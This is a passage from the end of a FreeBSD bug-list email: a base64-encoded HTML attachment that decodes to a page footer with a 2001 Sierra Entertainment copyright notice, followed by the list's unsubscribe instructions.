bGlnbj0icmlnaHQiPgoJCQk8cD48aW1nIHNyYz0iaW1hZ2VzL3RmMS41LXNtYWxsLmpwZyIg d2lkdGg9MTQwIGhlaWdodD0zOSBib3JkZXI9MCBhbHQ9IlRGIENsYXNzaWMiPgoJCTwvdGQ+ Cgk8L3RyPgo8L3RhYmxlPgo8YnI+Cjx0YWJsZSB3aWR0aD0iOTglIiBjZWxscGFkZGluZz0i MCIgY2VsbHNwYWNpbmc9IjAiPgoJPHRyPgoJIAkKICAgIDx0ZD4gCiAgICAgIDxwIGFsaWdu PSJjZW50ZXIiPiA8Zm9udCBmYWNlPSJhcmlhbCwgaGVsdmV0aWNhLCBzd2lzcyIgc2l6ZT0i MSI+IDwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBz aXplPSIxIj5Db3B5cmlnaHQgCiAgICAgICAgqSAyMDAxIFNpZXJyYSBFbnRlcnRhaW5tZW50 LCBJbmMuLCAzMDYwIDEzOXRoIEF2ZSBTRSAjNTAwLCBCZWxsZXZ1ZSwgV0EgCiAgICAgICAg OTgwMDUgVS5TLkEuIEFsbCByaWdodHMgcmVzZXJ2ZWQuIE5hbWVzLCB0cmFkZW1hcmtzIGFu ZCBjb3B5cmlnaHRzIGFyZSAKICAgICAgICB0aGUgcHJvcGVydHkgb2YgU2llcnJhIEVudGVy dGFpbm1lbnQsIEluYy4gTGlua3MgZG8gbm90IG5lY2Vzc2FyaWx5IHN1Z2dlc3QgCiAgICAg ICAgZW5kb3JzZW1lbnQuIDxhIGhyZWY9Imh0dHA6Ly93d3cuc2llcnJhLmNvbS9jb21wYW55 L3ByaXZhY3kucGhwIiB0YXJnZXQ9Il90b3AiPlByaXZhY3kgCiAgICAgICAgUG9saWN5PC9h PjwvZm9udD4gCiAgICA8L3RkPgoJPC90cj4KPC90YWJsZT4KPGJyPjxicj48YnI+CgoKPC9i b2R5Pgo8L2h0bWw+Cj== --P984D99991Z-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message